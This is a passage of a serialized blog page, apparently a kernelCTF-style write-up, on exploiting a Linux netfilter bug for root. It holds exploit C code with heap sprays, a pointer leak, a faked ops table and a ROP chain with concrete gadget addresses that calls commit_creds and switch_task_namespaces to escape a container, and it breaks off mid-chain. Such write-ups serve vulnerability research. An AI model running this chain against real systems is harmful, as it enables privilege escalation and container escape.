",{"type":23,"tag":135,"props":53624,"children":53626},{"className":53625},[],[53627],{"type":28,"value":53628},"list_head",{"type":28,"value":53630}," inserted in a circular list containing all ",{"type":23,"tag":135,"props":53632,"children":53634},{"className":53633},[],[53635],{"type":28,"value":53012},{"type":28,"value":53637},"'s that belong to a given ",{"type":23,"tag":135,"props":53639,"children":53641},{"className":53640},[],[53642],{"type":28,"value":53643},"table",{"type":28,"value":53645},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":135,"props":53647,"children":53649},{"className":53648},[],[53650],{"type":28,"value":53651},"table->list.next",{"type":28,"value":53653}," pointer in the ",{"type":23,"tag":135,"props":53655,"children":53657},{"className":53656},[],[53658],{"type":28,"value":53012},{"type":28,"value":53660}," will point back to the ",{"type":23,"tag":135,"props":53662,"children":53664},{"className":53663},[],[53665],{"type":28,"value":53628},{"type":28,"value":53667}," contained in the ",{"type":23,"tag":135,"props":53669,"children":53671},{"className":53670},[],[53672],{"type":28,"value":53643},{"type":28,"value":53674}," and vice-versa.\n",{"type":23,"tag":429,"props":53676,"children":53678},{"alt":48476,"src":53677},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":24,"props":53680,"children":53681},{},[53682,53684,53689,53691,53696,53698,53704,53706,53711,53712,53717,53719,53724,53726,53731],{"type":28,"value":53683},"In short, that means that if we swap the ",{"type":23,"tag":135,"props":53685,"children":53687},{"className":53686},[],[53688],{"type":28,"value":52997},{"type":28,"value":53690}," pointer of the ",{"type":23,"tag":135,"props":53692,"children":53694},{"className":53693},[],[53695],{"type":28,"value":53012},{"type":28,"value":53697}," with its own ",{"type":23,"tag":135,"props":53699,"children":53701},{"className":53700},[],[53702],{"type":28,"value":53703},"list.next",{"type":28,"value":53705}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":135,"props":53707,"children":53709},{"className":53708},[],[53710],{"type":28,"value":53012},{"type":28,"value":50237},{"type":23,"tag":135,"props":53713,"children":53715},{"className":53714},[],[53716],{"type":28,"value":53628},{"type":28,"value":53718}," which is also the start of the ",{"type":23,"tag":135,"props":53720,"children":53722},{"className":53721},[],[53723],{"type":28,"value":53012},{"type":28,"value":53725}," itself.\n",{"type":23,"tag":56,"props":53727,"children":53728},{},[53729],{"type":28,"value":53730},"NOTE:",{"type":28,"value":53732}," This is a novel small trick.",{"type":23,"tag":128,"props":53734,"children":53736},{"className":27132,"code":53735,"language":27134,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[53737],{"type":23,"tag":135,"props":53738,"children":53739},{"__ignoreMap":7},[53740,53747,53755,53768,53816,53843,53854,53892,53899,53928,53958],{"type":23,"tag":139,"props":53741,"children":53742},{"class":141,"line":142},[53743],{"type":23,"tag":139,"props":53744,"children":53745},{"style":259},[53746],{"type":28,"value":8327},{"type":23,"tag":139,"props":53748,"children":53749},{"class":141,"line":151},[53750],{"type":23,"tag":139,"props":53751,"children":53752},{"style":259},[53753],{"type":28,"value":53754},"    // Leak nft_object ptr using table linked list\n",{"type":23,"tag":139,"props":53756,"children":53757},{"class":141,"line":160},[53758,53763],{"type":23,"tag":139,"props":53759,"children":53760},{"style":259},[53761],{"type":28,"value":53762},"    fake_obj[8] = 8;",{"type":23,"tag":139,"props":53764,"children":53765},{"style":958},[53766],{"type":28,"value":53767},"           // ulen = 8\n",{"type":23,"tag":139,"props":53769,"children":53770},{"class":141,"line":169},[53771,53776,53780,53785,53789,53793,53798,53802,53806,53811],{"type":23,"tag":139,"props":53772,"children":53773},{"style":294},[53774],{"type":28,"value":53775},"    fake_obj",{"type":23,"tag":139,"props":53777,"children":53778},{"style":259},[53779],{"type":28,"value":1723},{"type":23,"tag":139,"props":53781,"children":53782},{"style":1016},[53783],{"type":28,"value":53784},"9",{"type":23,"tag":139,"props":53786,"children":53787},{"style":259},[53788],{"type":28,"value":6666},{"type":23,"tag":139,"props":53790,"children":53791},{"style":982},[53792],{"type":28,"value":1067},{"type":23,"tag":139,"props":53794,"children":53795},{"style":294},[53796],{"type":28,"value":53797}," fake_obj",{"type":23,"tag":139,"props":53799,"children":53800},{"style":259},[53801],{"type":28,"value":1723},{"type":23,"tag":139,"props":53803,"children":53804},{"style":1016},[53805],{"type":28,"value":2021},{"type":23,"tag":139,"props":53807,"children":53808},{"style":259},[53809],{"type":28,"value":53810},"];",{"type":23,"tag":139,"props":53812,"children":53813},{"style":958},[53814],{"type":28,"value":53815}," // udata = list->next\n",{"type":23,"tag":139,"props":53817,"children":53818},{"class":141,"line":178},[53819,53823,53827,53831,53835,53839],{"type":23,"tag":139,"props":53820,"children":53821},{"style":245},[53822],{"type":28,"value":53426},{"type":23,"tag":139,"props":53824,"children":53825},{"style":259},[53826],{"type":28,"value":53431},{"type":23,"tag":139,"props":53828,"children":53829},{"style":1016},[53830],{"type":28,"value":1099},{"type":23,"tag":139,"props":53832,"children":53833},{"style":259},[53834],{"type":28,"value":1052},{"type":23,"tag":139,"props":53836,"children":53837},{"style":1016},[53838],{"type":28,"value":647},{"type":23,"tag":139,"props":53840,"children":53841},{"style":259},[53842],{"type":28,"value":1820},{"type":23,"tag":139,"props":53844,"children":53845},{"class":141,"line":187},[53846,53850],{"type":23,"tag":139,"props":53847,"children":53848},{"style":245},[53849],{"type":28,"value":53455},{"type":23,"tag":139,"props":53851,"children":53852},{"style":259},[53853],{"type":28,"value":1656},{"type":23,"tag":139,"props":53855,"children":53856},{"class":141,"line":196},[53857,53862,53866,53871,53875,53879,53883,53887],{"type":23,"tag":139,"props":53858,"children":53859},{"style":245},[53860],{"type":28,"value":53861},"    udata_spray",{"type":23,"tag":139,"props":53863,"children":53864},{"style":259},[53865],{"type":28,"value":53431},{"type":23,"tag":139,"props":53867,"children":53868},{"style":1016},[53869],{"type":28,"value":53870},"0xe8",{"type":23,"tag":139,"props":53872,"children":53873},{"style":259},[53874],{"type":28,"value":1052},{"type":23,"tag":139,"props":53876,"children":53877},{"style":1016},[53878],{"type":28,"value":15308},{"type":23,"tag":139,"props":53880,"children":53881},{"style":259},[53882],{"type":28,"value":1052},{"type":23,"tag":139,"props":53884,"children":53885},{"style":1016},[53886],{"type":28,"value":647},{"type":23,"tag":139,"props":53888,"children":53889},{"style":259},[53890],{"type":28,"value":53891},", fake_obj);\n",{"type":23,"tag":139,"props":53893,"children":53894},{"class":141,"line":205},[53895],{"type":23,"tag":139,"props":53896,"children":53897},{"emptyLinePlaceholder":15},[53898],{"type":28,"value":184},{"type":23,"tag":139,"props":53900,"children":53901},{"class":141,"line":214},[53902,53907,53911,53916,53920,53924],{"type":23,"tag":139,"props":53903,"children":53904},{"style":245},[53905],{"type":28,"value":53906},"    get_obj",{"type":23,"tag":139,"props":53908,"children":53909},{"style":259},[53910],{"type":28,"value":53431},{"type":23,"tag":139,"props":53912,"children":53913},{"style":265},[53914],{"type":28,"value":53915},"\"spray-0\"",{"type":23,"tag":139,"props":53917,"children":53918},{"style":259},[53919],{"type":28,"value":1052},{"type":23,"tag":139,"props":53921,"children":53922},{"style":279},[53923],{"type":28,"value":1993},{"type":23,"tag":139,"props":53925,"children":53926},{"style":259},[53927],{"type":28,"value":1820},{"type":23,"tag":139,"props":53929,"children":53930},{"class":141,"line":1320},[53931,53936,53940,53945,53949,53953],{"type":23,"tag":139,"props":53932,"children":53933},{"style":245},[53934],{"type":28,"value":53935},"    printf",{"type":23,"tag":139,"props":53937,"children":53938},{"style":259},[53939],{"type":28,"value":262},{"type":23,"tag":139,"props":53941,"children":53942},{"style":265},[53943],{"type":28,"value":53944},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":139,"props":53946,"children":53947},{"style":46270},[53948],{"type":28,"value":46273},{"type":23,"tag":139,"props":53950,"children":53951},{"style":265},[53952],{"type":28,"value":18067},{"type":23,"tag":139,"props":53954,"children":53955},{"style":259},[53956],{"type":28,"value":53957},", obj_ptr);\n",{"type":23,"tag":139,"props":53959,"children":53960},{"class":141,"line":1329},[53961],{"type":23,"tag":139,"props":53962,"children":53963},{"style":259},[53964],{"type":28,"value":8327},{"type":23,"tag":666,"props":53966,"children":53968},{"id":53967},"hijacking-control-flow",[53969],{"type":28,"value":53970},"Hijacking control-flow",{"type":23,"tag":24,"props":53972,"children":53973},{},[53974,53976,53981,53983,53988,53990,53995,53997,54002,54004,54009,54011],{"type":28,"value":53975},"To hijack control-flow, we can use ",{"type":23,"tag":135,"props":53977,"children":53979},{"className":53978},[],[53980],{"type":28,"value":53012},{"type":28,"value":53982}," once again. The ",{"type":23,"tag":135,"props":53984,"children":53986},{"className":53985},[],[53987],{"type":28,"value":53012},{"type":28,"value":53989}," struct has an ",{"type":23,"tag":135,"props":53991,"children":53993},{"className":53992},[],[53994],{"type":28,"value":50568},{"type":28,"value":53996}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":135,"props":53998,"children":54000},{"className":53999},[],[54001],{"type":28,"value":50568},{"type":28,"value":54003}," pointer with the ",{"type":23,"tag":135,"props":54005,"children":54007},{"className":54006},[],[54008],{"type":28,"value":52997},{"type":28,"value":54010}," pointer, taking control of the pointer table.\n",{"type":23,"tag":429,"props":54012,"children":54014},{"alt":48476,"src":54013},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":128,"props":54016,"children":54018},{"className":27132,"code":54017,"language":27134,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[54019],{"type":23,"tag":135,"props":54020,"children":54021},{"__ignoreMap":7},[54022,54029,54037,54061,54108,54144,54151,54159,54191,54199,54207,54228,54236,54244,54308,54315,54323,54331,54338,54346,54380,54388,54395,54403,54410,54418,54451,54472],{"type":23,"tag":139,"props":54023,"children":54024},{"class":141,"line":142},[54025],{"type":23,"tag":139,"props":54026,"children":54027},{"style":259},[54028],{"type":28,"value":8327},{"type":23,"tag":139,"props":54030,"children":54031},{"class":141,"line":151},[54032],{"type":23,"tag":139,"props":54033,"children":54034},{"style":259},[54035],{"type":28,"value":54036},"    // Fake ops\n",{"type":23,"tag":139,"props":54038,"children":54039},{"class":141,"line":160},[54040,54045,54049,54053,54057],{"type":23,"tag":139,"props":54041,"children":54042},{"style":259},[54043],{"type":28,"value":54044},"    uint64_t *rop = calloc(29, ",{"type":23,"tag":139,"props":54046,"children":54047},{"style":305},[54048],{"type":28,"value":53226},{"type":23,"tag":139,"props":54050,"children":54051},{"style":259},[54052],{"type":28,"value":262},{"type":23,"tag":139,"props":54054,"children":54055},{"style":279},[54056],{"type":28,"value":53533},{"type":23,"tag":139,"props":54058,"children":54059},{"style":259},[54060],{"type":28,"value":5226},{"type":23,"tag":139,"props":54062,"children":54063},{"class":141,"line":169},[54064,54069,54073,54077,54081,54085,54090,54094,54099,54103],{"type":23,"tag":139,"props":54065,"children":54066},{"style":294},[54067],{"type":28,"value":54068},"    rop",{"type":23,"tag":139,"props":54070,"children":54071},{"style":259},[54072],{"type":28,"value":1723},{"type":23,"tag":139,"props":54074,"children":54075},{"style":1016},[54076],{"type":28,"value":2021},{"type":23,"tag":139,"props":54078,"children":54079},{"style":259},[54080],{"type":28,"value":6666},{"type":23,"tag":139,"props":54082,"children":54083},{"style":982},[54084],{"type":28,"value":1067},{"type":23,"tag":139,"props":54086,"children":54087},{"style":259},[54088],{"type":28,"value":54089}," kaslr_slide ",{"type":23,"tag":139,"props":54091,"children":54092},{"style":982},[54093],{"type":28,"value":2382},{"type":23,"tag":139,"props":54095,"children":54096},{"style":1016},[54097],{"type":28,"value":54098}," 0xffffffff81988647",{"type":23,"tag":139,"props":54100,"children":54101},{"style":259},[54102],{"type":28,"value":46971},{"type":23,"tag":139,"props":54104,"children":54105},{"style":958},[54106],{"type":28,"value":54107}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":139,"props":54109,"children":54110},{"class":141,"line":178},[54111,54115,54119,54123,54127,54131,54135,54139],{"type":23,"tag":139,"props":54112,"children":54113},{"style":294},[54114],{"type":28,"value":54068},{"type":23,"tag":139,"props":54116,"children":54117},{"style":259},[54118],{"type":28,"value":1723},{"type":23,"tag":139,"props":54120,"children":54121},{"style":1016},[54122],{"type":28,"value":1099},{"type":23,"tag":139,"props":54124,"children":54125},{"style":259},[54126],{"type":28,"value":6666},{"type":23,"tag":139,"props":54128,"children":54129},{"style":982},[54130],{"type":28,"value":1067},{"type":23,"tag":139,"props":54132,"children":54133},{"style":259},[54134],{"type":28,"value":54089},{"type":23,"tag":139,"props":54136,"children":54137},{"style":982},[54138],{"type":28,"value":2382},{"type":23,"tag":139,"props":54140,"children":54141},{"style":259},[54142],{"type":28,"value":54143}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":139,"props":54145,"children":54146},{"class":141,"line":187},[54147],{"type":23,"tag":139,"props":54148,"children":54149},{"style":259},[54150],{"type":28,"value":8327},{"type":23,"tag":139,"props":54152,"children":54153},{"class":141,"line":196},[54154],{"type":23,"tag":139,"props":54155,"children":54156},{"style":259},[54157],{"type":28,"value":54158},"    // Send ROP in object udata\n",{"type":23,"tag":139,"props":54160,"children":54161},{"class":141,"line":205},[54162,54167,54171,54176,54181,54186],{"type":23,"tag":139,"props":54163,"children":54164},{"style":259},[54165],{"type":28,"value":54166},"    del_obj(",{"type":23,"tag":139,"props":54168,"children":54169},{"style":305},[54170],{"type":28,"value":52188},{"type":23,"tag":139,"props":54172,"children":54173},{"style":259},[54174],{"type":28,"value":54175},", \"",{"type":23,"tag":139,"props":54177,"children":54178},{"style":305},[54179],{"type":28,"value":54180},"spray",{"type":23,"tag":139,"props":54182,"children":54183},{"style":259},[54184],{"type":28,"value":54185},"-0",{"type":23,"tag":139,"props":54187,"children":54188},{"style":265},[54189],{"type":28,"value":54190},"\");\n",{"type":23,"tag":139,"props":54192,"children":54193},{"class":141,"line":214},[54194],{"type":23,"tag":139,"props":54195,"children":54196},{"style":265},[54197],{"type":28,"value":54198},"    wait_destroyer();\n",{"type":23,"tag":139,"props":54200,"children":54201},{"class":141,"line":1320},[54202],{"type":23,"tag":139,"props":54203,"children":54204},{"style":265},[54205],{"type":28,"value":54206},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":139,"props":54208,"children":54209},{"class":141,"line":1329},[54210,54215,54219,54224],{"type":23,"tag":139,"props":54211,"children":54212},{"style":265},[54213],{"type":28,"value":54214},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":139,"props":54216,"children":54217},{"style":279},[54218],{"type":28,"value":54180},{"type":23,"tag":139,"props":54220,"children":54221},{"style":259},[54222],{"type":28,"value":54223},"-3",{"type":23,"tag":139,"props":54225,"children":54226},{"style":265},[54227],{"type":28,"value":54190},{"type":23,"tag":139,"props":54229,"children":54230},{"class":141,"line":1580},[54231],{"type":23,"tag":139,"props":54232,"children":54233},{"style":265},[54234],{"type":28,"value":54235},"    DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":139,"props":54237,"children":54238},{"class":141,"line":1597},[54239],{"type":23,"tag":139,"props":54240,"children":54241},{"style":265},[54242],{"type":28,"value":54243},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":139,"props":54245,"children":54246},{"class":141,"line":1614},[54247,54252,54256,54260,54264,54269,54274,54279,54283,54288,54293,54298,54303],{"type":23,"tag":139,"props":54248,"children":54249},{"style":265},[54250],{"type":28,"value":54251},"    printf(\"",{"type":23,"tag":139,"props":54253,"children":54254},{"style":259},[54255],{"type":28,"value":1723},{"type":23,"tag":139,"props":54257,"children":54258},{"style":982},[54259],{"type":28,"value":2573},{"type":23,"tag":139,"props":54261,"children":54262},{"style":259},[54263],{"type":28,"value":6666},{"type":23,"tag":139,"props":54265,"children":54266},{"style":305},[54267],{"type":28,"value":54268},"ROP",{"type":23,"tag":139,"props":54270,"children":54271},{"style":305},[54272],{"type":28,"value":54273}," addr",{"type":23,"tag":139,"props":54275,"children":54276},{"style":259},[54277],{"type":28,"value":54278},": 0",{"type":23,"tag":139,"props":54280,"children":54281},{"style":305},[54282],{"type":28,"value":17284},{"type":23,"tag":139,"props":54284,"children":54285},{"style":259},[54286],{"type":28,"value":54287},"%",{"type":23,"tag":139,"props":54289,"children":54290},{"style":305},[54291],{"type":28,"value":54292},"lx",{"type":23,"tag":139,"props":54294,"children":54295},{"style":259},[54296],{"type":28,"value":54297},"\\",{"type":23,"tag":139,"props":54299,"children":54300},{"style":305},[54301],{"type":28,"value":54302},"n",{"type":23,"tag":139,"props":54304,"children":54305},{"style":265},[54306],{"type":28,"value":54307},"\", rop_addr);\n",{"type":23,"tag":139,"props":54309,"children":54310},{"class":141,"line":1627},[54311],{"type":23,"tag":139,"props":54312,"children":54313},{"emptyLinePlaceholder":15},[54314],{"type":28,"value":184},{"type":23,"tag":139,"props":54316,"children":54317},{"class":141,"line":1636},[54318],{"type":23,"tag":139,"props":54319,"children":54320},{"style":265},[54321],{"type":28,"value":54322},"    // Point to fake ops\n",{"type":23,"tag":139,"props":54324,"children":54325},{"class":141,"line":1659},[54326],{"type":23,"tag":139,"props":54327,"children":54328},{"style":265},[54329],{"type":28,"value":54330},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":139,"props":54332,"children":54333},{"class":141,"line":1667},[54334],{"type":23,"tag":139,"props":54335,"children":54336},{"style":265},[54337],{"type":28,"value":8327},{"type":23,"tag":139,"props":54339,"children":54340},{"class":141,"line":1676},[54341],{"type":23,"tag":139,"props":54342,"children":54343},{"style":265},[54344],{"type":28,"value":54345},"    // Write ROP\n",{"type":23,"tag":139,"props":54347,"children":54348},{"class":141,"line":1745},[54349,54354,54358,54362,54366,54371,54376],{"type":23,"tag":139,"props":54350,"children":54351},{"style":265},[54352],{"type":28,"value":54353},"    puts(\"",{"type":23,"tag":139,"props":54355,"children":54356},{"style":259},[54357],{"type":28,"value":1723},{"type":23,"tag":139,"props":54359,"children":54360},{"style":982},[54361],{"type":28,"value":2573},{"type":23,"tag":139,"props":54363,"children":54364},{"style":259},[54365],{"type":28,"value":6666},{"type":23,"tag":139,"props":54367,"children":54368},{"style":305},[54369],{"type":28,"value":54370},"Write",{"type":23,"tag":139,"props":54372,"children":54373},{"style":305},[54374],{"type":28,"value":54375}," ROP",{"type":23,"tag":139,"props":54377,"children":54378},{"style":265},[54379],{"type":28,"value":54190},{"type":23,"tag":139,"props":54381,"children":54382},{"class":141,"line":1753},[54383],{"type":23,"tag":139,"props":54384,"children":54385},{"style":265},[54386],{"type":28,"value":54387},"    deludata_spray(nl, 3, 1);\n",{"type":23,"tag":139,"props":54389,"children":54390},{"class":141,"line":1783},[54391],{"type":23,"tag":139,"props":54392,"children":54393},{"style":265},[54394],{"type":28,"value":54198},{"type":23,"tag":139,"props":54396,"children":54397},{"class":141,"line":1791},[54398],{"type":23,"tag":139,"props":54399,"children":54400},{"style":265},[54401],{"type":28,"value":54402},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":139,"props":54404,"children":54405},{"class":141,"line":1823},[54406],{"type":23,"tag":139,"props":54407,"children":54408},{"emptyLinePlaceholder":15},[54409],{"type":28,"value":184},{"type":23,"tag":139,"props":54411,"children":54412},{"class":141,"line":1831},[54413],{"type":23,"tag":139,"props":54414,"children":54415},{"style":265},[54416],{"type":28,"value":54417},"    // Takeover RIP\n",{"type":23,"tag":139,"props":54419,"children":54420},{"class":141,"line":1891},[54421,54425,54429,54433,54437,54442,54447],{"type":23,"tag":139,"props":54422,"children":54423},{"style":265},[54424],{"type":28,"value":54353},{"type":23,"tag":139,"props":54426,"children":54427},{"style":259},[54428],{"type":28,"value":1723},{"type":23,"tag":139,"props":54430,"children":54431},{"style":982},[54432],{"type":28,"value":2573},{"type":23,"tag":139,"props":54434,"children":54435},{"style":259},[54436],{"type":28,"value":6666},{"type":23,"tag":139,"props":54438,"children":54439},{"style":305},[54440],{"type":28,"value":54441},"Takeover",{"type":23,"tag":139,"props":54443,"children":54444},{"style":305},[54445],{"type":28,"value":54446}," RIP",{"type":23,"tag":139,"props":54448,"children":54449},{"style":265},[54450],{"type":28,"value":54190},{"type":23,"tag":139,"props":54452,"children":54453},{"class":141,"line":7053},[54454,54459,54463,54468],{"type":23,"tag":139,"props":54455,"children":54456},{"style":265},[54457],{"type":28,"value":54458},"    dump_obj(nl, \"",{"type":23,"tag":139,"props":54460,"children":54461},{"style":279},[54462],{"type":28,"value":54180},{"type":23,"tag":139,"props":54464,"children":54465},{"style":259},[54466],{"type":28,"value":54467},"-1",{"type":23,"tag":139,"props":54469,"children":54470},{"style":265},[54471],{"type":28,"value":54190},{"type":23,"tag":139,"props":54473,"children":54474},{"class":141,"line":7071},[54475],{"type":23,"tag":139,"props":54476,"children":54477},{"style":265},[54478],{"type":28,"value":8327},{"type":23,"tag":666,"props":54480,"children":54482},{"id":54481},"bypass-context-switch-in-rcu-critical-section",[54483],{"type":28,"value":54484},"Bypass context switch in RCU critical-section",{"type":23,"tag":24,"props":54486,"children":54487},{},[54488,54489,54494],{"type":28,"value":14625},{"type":23,"tag":135,"props":54490,"children":54492},{"className":54491},[],[54493],{"type":28,"value":53012},{"type":28,"value":54495}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":24,"props":54497,"children":54498},{},[54499,54501,54508,54510,54516,54518,54524],{"type":28,"value":54500},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":64,"props":54502,"children":54505},{"href":54503,"rel":54504},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[68],[54506],{"type":28,"value":54507},"previous kernelCTF submission",{"type":28,"value":54509}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":135,"props":54511,"children":54513},{"className":54512},[],[54514],{"type":28,"value":54515},"task_struct",{"type":28,"value":54517}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":135,"props":54519,"children":54521},{"className":54520},[],[54522],{"type":28,"value":54523},"__rcu_read_unlock()",{"type":28,"value":54525}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":128,"props":54527,"children":54529},{"className":27132,"code":54528,"language":27134,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[54530],{"type":23,"tag":135,"props":54531,"children":54532},{"__ignoreMap":7},[54533,54541,54565,54572],{"type":23,"tag":139,"props":54534,"children":54535},{"class":141,"line":142},[54536],{"type":23,"tag":139,"props":54537,"children":54538},{"style":958},[54539],{"type":28,"value":54540},"    // ROP stage 1\n",{"type":23,"tag":139,"props":54542,"children":54543},{"class":141,"line":151},[54544,54548,54553,54557,54561],{"type":23,"tag":139,"props":54545,"children":54546},{"style":279},[54547],{"type":28,"value":17085},{"type":23,"tag":139,"props":54549,"children":54550},{"style":259},[54551],{"type":28,"value":54552}," pos ",{"type":23,"tag":139,"props":54554,"children":54555},{"style":982},[54556],{"type":28,"value":1067},{"type":23,"tag":139,"props":54558,"children":54559},{"style":1016},[54560],{"type":28,"value":17107},{"type":23,"tag":139,"props":54562,"children":54563},{"style":259},[54564],{"type":28,"value":995},{"type":23,"tag":139,"props":54566,"children":54567},{"class":141,"line":160},[54568],{"type":23,"tag":139,"props":54569,"children":54570},{"emptyLinePlaceholder":15},[54571],{"type":28,"value":184},{"type":23,"tag":139,"props":54573,"children":54574},{"class":141,"line":169},[54575,54579,54584,54588,54592,54596,54600,54604],{"type":23,"tag":139,"props":54576,"children":54577},{"style":294},[54578],{"type":28,"value":54068},{"type":23,"tag":139,"props":54580,"children":54581},{"style":259},[54582],{"type":28,"value":54583},"[pos",{"type":23,"tag":139,"props":54585,"children":54586},{"style":982},[54587],{"type":28,"value":49167},{"type":23,"tag":139,"props":54589,"children":54590},{"style":259},[54591],{"type":28,"value":6666},{"type":23,"tag":139,"props":54593,"children":54594},{"style":982},[54595],{"type":28,"value":1067},{"type":23,"tag":139,"props":54597,"children":54598},{"style":259},[54599],{"type":28,"value":54089},{"type":23,"tag":139,"props":54601,"children":54602},{"style":982},[54603],{"type":28,"value":2382},{"type":23,"tag":139,"props":54605,"children":54606},{"style":259},[54607],{"type":28,"value":54608}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":666,"props":54610,"children":54612},{"id":54611},"rop",[54613],{"type":28,"value":54268},{"type":23,"tag":24,"props":54615,"children":54616},{},[54617],{"type":28,"value":54618},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":14699,"props":54620,"children":54621},{},[54622,54633,54644],{"type":23,"tag":801,"props":54623,"children":54624},{},[54625,54631],{"type":23,"tag":135,"props":54626,"children":54628},{"className":54627},[],[54629],{"type":28,"value":54630},"commit_creds(&init_cred);",{"type":28,"value":54632}," Commit root credentials to our process",{"type":23,"tag":801,"props":54634,"children":54635},{},[54636,54642],{"type":23,"tag":135,"props":54637,"children":54639},{"className":54638},[],[54640],{"type":28,"value":54641},"task = find_task_by_vpid(1);",{"type":28,"value":54643}," Find the root process of our namespace",{"type":23,"tag":801,"props":54645,"children":54646},{},[54647,54653],{"type":23,"tag":135,"props":54648,"children":54650},{"className":54649},[],[54651],{"type":28,"value":54652},"switch_task_namespaces(task, &init_nsproxy);",{"type":28,"value":54654}," Move it to the root namespace",{"type":23,"tag":24,"props":54656,"children":54657},{},[54658,54660,54666,54668,54674,54676,54682,54684,54690,54692,54697,54699,54705],{"type":28,"value":54659},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":135,"props":54661,"children":54663},{"className":54662},[],[54664],{"type":28,"value":54665},"find_task_by_vpid(1)",{"type":28,"value":54667}," passed through ",{"type":23,"tag":135,"props":54669,"children":54671},{"className":54670},[],[54672],{"type":28,"value":54673},"rax",{"type":28,"value":54675}," to ",{"type":23,"tag":135,"props":54677,"children":54679},{"className":54678},[],[54680],{"type":28,"value":54681},"rdi",{"type":28,"value":54683},". What I ended up going with was a ",{"type":23,"tag":135,"props":54685,"children":54687},{"className":54686},[],[54688],{"type":28,"value":54689},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":28,"value":54691}," gadget, that allowed me to push the ",{"type":23,"tag":135,"props":54693,"children":54695},{"className":54694},[],[54696],{"type":28,"value":54673},{"type":28,"value":54698}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":135,"props":54700,"children":54702},{"className":54701},[],[54703],{"type":28,"value":54704},"pop rdi; ret",{"type":28,"value":54706}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":14699,"props":54708,"children":54709},{},[54710,54715,54728],{"type":23,"tag":801,"props":54711,"children":54712},{},[54713],{"type":28,"value":54714},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":801,"props":54716,"children":54717},{},[54718,54720,54726],{"type":28,"value":54719},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":135,"props":54721,"children":54723},{"className":54722},[],[54724],{"type":28,"value":54725},"pop rdi; ret;",{"type":28,"value":54727}," location)",{"type":23,"tag":801,"props":54729,"children":54730},{},[54731,54736],{"type":23,"tag":135,"props":54732,"children":54734},{"className":54733},[],[54735],{"type":28,"value":54704},{"type":28,"value":54737}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":128,"props":54739,"children":54741},{"className":27132,"code":54740,"language":27134,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 